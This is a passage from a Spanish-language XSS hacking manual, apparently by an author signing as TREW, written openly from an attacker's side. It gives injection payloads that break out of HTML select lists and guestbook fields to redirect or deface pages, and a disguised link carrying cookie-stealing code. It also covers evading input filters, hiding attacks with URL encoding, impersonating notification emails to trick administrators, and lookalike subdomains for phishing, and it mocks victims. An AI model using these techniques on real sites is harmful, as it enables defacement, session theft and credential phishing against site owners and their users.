Así que la aplicación incluyó los datos que nosotros ingresamos en el código fuente de la página, esto significa que podemos hacer inyección. Teniendo acceso a la sección de agregar secciones a la página, no podemos hacer casi nada, a menos de que queramos defacear y realicemos la siguiente inyección:

```
wawa</option></select><script>window.location='http://web.com/hacked.htm'</script>
```

De modo que cuando inyectamos el código, el código de la página principal queda así:

```
<select>
<option>Home</option>
<option>Gallery</option>
<option>Links</option>
<option>Contact</option>
<option> wawa</option></select>
<script>window.location='http://web.com/hacked.htm'</script>
</select>
```

Así cerramos la lista select, e inyectamos el código que redirecciona el navegador hacia otra ubicación.

Otro ejemplo es el deface por medio de inyección en los guestbooks. Al firmar un guestbook, normalmente ingresas los siguientes datos: Nombre, correo, página, comentario. Y cuando se graban en el guestbook, el código queda así: (los datos en negritas son los datos que el usuario ingresó)

```
<b>Name: nombre</b><br>
<a href="mailto:correo@mail.com">Mail</a><br>
<a href="http://pagina.com">Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
```

Si el guestbook no aplica un sistema de filtrado por caracteres como '<' y '>' podemos realizar inyección en la página. Que tal si en el campo correo ingresamos lo siguiente: "><script>/** deface **/ </script>

```
<b>Name: nombre</b><br>
<a href="mailto: "><script>/** deface **/ </script>">Mail</a><br>
<a href="http://pagina.com">Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
```

De esta manera rompemos la etiqueta '<a href' e insertamos nuestro código del deface. También podríamos realizar lo mismo con el campo página.

Así que para realizar este tipo de inyecciones, necesitamos estudiar el código fuente y darnos cuenta de que sucede con los datos que nosotros ingresamos. De este modo conoceremos los lugares en donde podemos inyectar código, y la forma en la que se debe de hacer.

Las aplicaciones mas profesionales tienen filtros, que validan todos los datos que ingresó el usuario para evitar inyecciones. Pero ahí entran los ataques contra la validación de entrada, que es buscar todos los medios por los que podemos inyectar código (explicado anteriormente), o tratar de saltarnos los filtros; lo que vamos a ver a continuación.

Salto de filtros

Como ya expliqué antes, las aplicaciones suelen tener filtros que procesan los datos ingresados por el usuario y los validan para remover las posibles inyecciones de código. Ahora estudiaré unos cuantos métodos básicos que se utilizan para tratar de saltar estos filtros. Y de nuevo, la forma en la que nos podemos saltar un filtro depende totalmente de la aplicación, de cómo esté hecha y de cómo funciona. Por eso debemos estudiar los filtros y saber exactamente como trabajan.

Hay diferentes tipos de filtros.

Primero tenemos el filtro programado en javascript. Cuando el usuario envía la información, el script recibe los datos y los valida, después de que son filtrados y validados son enviados a alguna aplicación que recibe los datos y hace lo que tenga que hacer con ellos.

Este es seguramente el filtro más fácil de burlar, ya que se puede evitar de diferentes formas. La forma más sencilla sería ver el código fuente de la página y modificarlo, de modo que la información nunca pase por los filtros, después el atacante graba este nuevo código en su máquina y envía la información desde ahí, sin necesidad de usar la página original. No olviden que para eso también tenemos que modificar otras cosas del código como las opciones del formulario que indican a donde se envía la información. Lo inseguro de este filtro es que cualquier usuario puede ver como trabaja si observa el código fuente.

El segundo tipo de filtro es en el que hay dos aplicaciones php. El primer php pide los datos al usuario, y cuando este los envía el php los filtra y valida, y luego los envía al segundo php. El segundo php simplemente hace lo que tenga que hacer con la información.

El filtro no se puede remover de la aplicación, porque no tenemos acceso al código php de la página. Pero si interceptamos las cabeceras del navegador, podemos observar como después de que enviamos los datos a la página, se realiza otra petición que envía la información ya filtrada al segundo php. Así podemos modificar los datos que ya vienen filtrados, para cambiarlos por el código con la inyección. La página que recibe los datos supone que la información que recibió ya viene validada, así que ya no los vuelve a validar. Este salto de filtros se debe a un error muy común que cometen los "programadores" ya que de nuevo, no toman en cuenta las diferentes vías en las que se puede realizar la inyección.

Y luego viene el otro tipo de filtro. En el que se cuenta de nuevo con dos phps, el primero pide los datos al usuario y los envía hacia el segundo php. El segundo php valida los datos y luego el mismo hace lo que tenga que hacer con ellos. De esta forma ya no podemos manipular los datos, porque si interceptamos las cabeceras cuando se envía la información no servirá de nada, ya que los campos todavía no se

validan. Seguramente la forma más fácil y antigua (y por lo tanto casi no efectiva), es codificar los caracteres por valores URL y hexadecimales, y así tratar de que la aplicación no los tome en cuenta pero que luego sean interpretados como código.

Estudiando el código fuente de una aplicación se pueden encontrar formas de saltar los filtros de inyección. También tomen en cuenta que no siempre todos los campos son filtrados.

El saltar filtros es un tema extenso, yo sólo les expliqué lo fundamental, después con la investigación y experiencia aprenderán diversas formas de burlarnos los filtros y poder realizar inyección. Y ésto no solo se va a aplicar en el XSS, sino también en otro tipo de inyecciones como la inyección SQL.

Disminuyendo la sospecha

Los ataques de XSS en páginas no estáticas son un poco riesgosos, ya que se puede identificar el ataque fácilmente desde la URL de la página. Sin embargo, no debemos de descartar estos ataques por esta desventaja. Recuerden que el XSS es considerado un ataque de bajo riesgo por esa misma razón, pero la gente no tiene idea de lo que se puede hacer si se explota de forma correcta.

En estos ataques debemos de hacer que la victima entre a la página por medio del enlace que nosotros les damos.

Sin duda la codificación de caracteres en la URL, es un método que oculta casi completamente el ataque para los usuarios normales, ya que ellos no tienen un conocimiento amplio y no podrían identificar algo anormal en la URL. Un usuario normal se acostumbra a ver cosas raras en la URL de las páginas (parámetros), y por naturalidad los ignora. Ahora solo basta con aplicar un poco de ingeniería social para enviar el correo a la víctima.

Para aplicar el ataque a algún administrador seguramente se tendrán que usar técnicas más avanzadas. Un ataque muy efectivo que he hecho, es el enviar un correo a la víctima con respecto a su sitio web, que haga que la víctima de clic en algún enlace. Y el enlace está hecho de la siguiente manera:

```
<a href=”http://pagina.com/?variable=codigo-roba-cookies ”>
http://pagina.com/mensajes/moderar.php</a>
```

Así la víctima no ve la dirección del enlace en el correo, solo ve un link que contiene una dirección, y dejándose llevar por la apariencia dará clic en el enlace sin sospecha alguna.

Lo que suelo hacer para realizar este tipo de ataques, es investigar alguna aplicación o servicio emplead en la página, que suele enviar correos al administrador para informarle de cosas. Un ejemplo muy claro son los blogs, que notificar al administrador que se han enviado nuevos comentarios que hay que moderar. Una vez que tengo identificados los servicios que envían correos, mando un correo falso que contiene el enlace, haciéndome pasar por dicho servicio.

En la mayoría de los ataques credencial-theft o de phishing, el navegador de la víctima es redireccionado hacia otra página. La víctima se puede dar cuenta de que no está en la página original, o de que algo raro está sucediendo si observa algunos detalles, como la dirección de la URL. Un buen truco para disfrazar la URL es crear subdominios largos y parecidos a los de la página original. Sí yo soy dueño del dominio ‘icenetx.net’ puedo crear un subdominio ‘login-passport-net-curmbox0008993d4.icenetx.net’, y poner la página maligna en una carpeta larga y de nombre confuso como ‘credential-passport/0009234900dd34900-

emailbox-888/passport.php', para que la URL parezca normal a simple vista.

En los ataque de robo de cookies, se debe de hacer que la página que robe la cookie redireccione al usuario a la página original después de obtener la información para que todo se vea más normal. Lo mismo con los de phishing, la página que roba la información debería de logear al usuario en la página original después de robar los datos. De otra manera el ataque va a ser muy muy sospechoso.

El éxito de este ataque depende altamente de la ingeniería social aplicada por el atacante. Pero la ingeniería social es de los ataques más poderosos que hay ☺ , tomar provecho de la estupidez de las personas. Podemos recordar que Kevin Mitnick podía hacer cosas grandiosas usando solo ingeniería social. Y para los que saben inglés, aquí les dejo un link para descargar el libro de Kevin Mitnick titulado "The Art of Deception". El libro trata sobre ingeniería social, se los recomiendo mucho:

http://icenetx.net/?contenido=descargas

==========
Conclusión: |
==========

Con esto concluyo este (creo extenso xD) manual de XSS, quise hacer el manual lo más completo posible en cuanto a fundamentos. Y traté de explicar todo con mucha claridad.

Sin embargo, cualquier duda, comentario, o lo que sea la pueden dejar en mi blog: **http://trew.icenetx.net** O enviarla a mi correo: **trew.revolution@gmail.com** en donde les responderé todo con gusto.

Quiero agradecer a mi grupo ICEnetX, por apoyo y retroalimentación del tutorial.
A Megabyte por la información de tipos de ataques y salto de filtros.
A Paisterist por ayudarme con ciertas dudas.

Y a ti por leer el tutorial.

Eso es todo, y nos vemos a la próxima…

BYTES!

TREW

--

“MAYBE YOU CAN’T BREAK THE SYSTEM, BUT YOU CAN ALWAYS HACK IT.”